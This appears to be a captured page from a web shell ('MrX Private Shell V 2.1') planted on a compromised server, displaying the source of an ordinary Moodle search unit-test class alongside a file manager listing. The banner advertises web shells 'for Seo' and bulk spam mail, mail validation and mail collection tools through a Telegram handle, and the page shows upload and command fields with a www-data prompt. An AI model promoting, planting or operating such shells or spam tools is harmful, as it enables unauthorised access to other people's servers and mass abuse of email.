__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Core search class adapted to unit test.
 *
 * @package    core_search
 * @copyright  2015 David Monllao {@link http://www.davidmonllao.com}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

require_once(__DIR__ . '/mock_search_engine.php');

/**
 * Core search class adapted to unit test.
 *
 * Note that by default all core search areas are returned when calling get_search_areas_list,
 * if you want to use the mock search area you can use testable_core_search::add_search_area
 * although if you want to add mock search areas on top of the core ones you should call
 * testable_core_search::add_core_search_areas before calling testable_core_search::add_search_area.
 *
 * @package    core_search
 * @copyright  2015 David Monllao {@link http://www.davidmonllao.com}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class testable_core_search extends \core_search\manager {

    /**
     * Attaches the mock engine to search.
     *
     * Auto enables global search.
     *
     * @param  \core_search\engine|bool $searchengine
     * @param bool $ignored Second param just to make this compatible with base class
     * @return testable_core_search
     */
    public static function instance($searchengine = false, bool $ignored = false) {

        // One per request, this should be purged during testing.
        if (self::$instance !== null) {
            return self::$instance;
        }

        set_config('enableglobalsearch', true);

        // Default to the mock one.
        if ($searchengine === false) {
            $searchengine = new \mock_search\engine();
        }

        self::$instance = new testable_core_search($searchengine);

        return self::$instance;
    }

    /**
     * Changes visibility.
     *
     * @return array
     */
    public function get_areas_user_accesses($limitcourseids = false, $limitcontextids = false) {
        return parent::get_areas_user_accesses($limitcourseids, $limitcontextids);
    }

    /**
     * Adds an enabled search component to the search areas list.
     *
     * @param string $areaid
     * @param \core_search\base $searcharea
     * @return void
     */
    public function add_search_area($areaid, \core_search\base $searcharea) {
       self::$enabledsearchareas[$areaid] = $searcharea;
       self::$allsearchareas[$areaid] = $searcharea;
    }

    /**
     * Loads all core search areas.
     *
     * @return void
     */
    public function add_core_search_areas() {
        self::get_search_areas_list(false);
        self::get_search_areas_list(true);
    }

    /**
     * Changes visibility.
     *
     * @param string $classname
     * @return bool
     */
    public static function is_search_area($classname) {
        return parent::is_search_area($classname);
    }

    /**
     * Fakes the current time for PHPunit. Turns off faking time if called with default parameter.
     *
     * Note: This should be replaced with core functionality once possible (see MDL-60644).
     *
     * @param float $faketime Current time
     */
    public static function fake_current_time($faketime = 0.0) {
        static::$phpunitfaketime = $faketime;
    }

    /**
     * Makes build_limitcourseids method public for testing.
     *
     * @param \stdClass $formdata Submitted search form data.
     *
     * @return array|bool
     */
    public function build_limitcourseids(\stdClass $formdata) {
        $limitcourseids = parent::build_limitcourseids($formdata);

        return $limitcourseids;
    }
}

Filemanager

Name Type Size Permission Actions
mock_block_area.php File 1.23 KB 0777
mock_search_area.php File 4.56 KB 0777
mock_search_engine.php File 4.44 KB 0777
testable_core_search.php File 4.19 KB 0777
Filemanager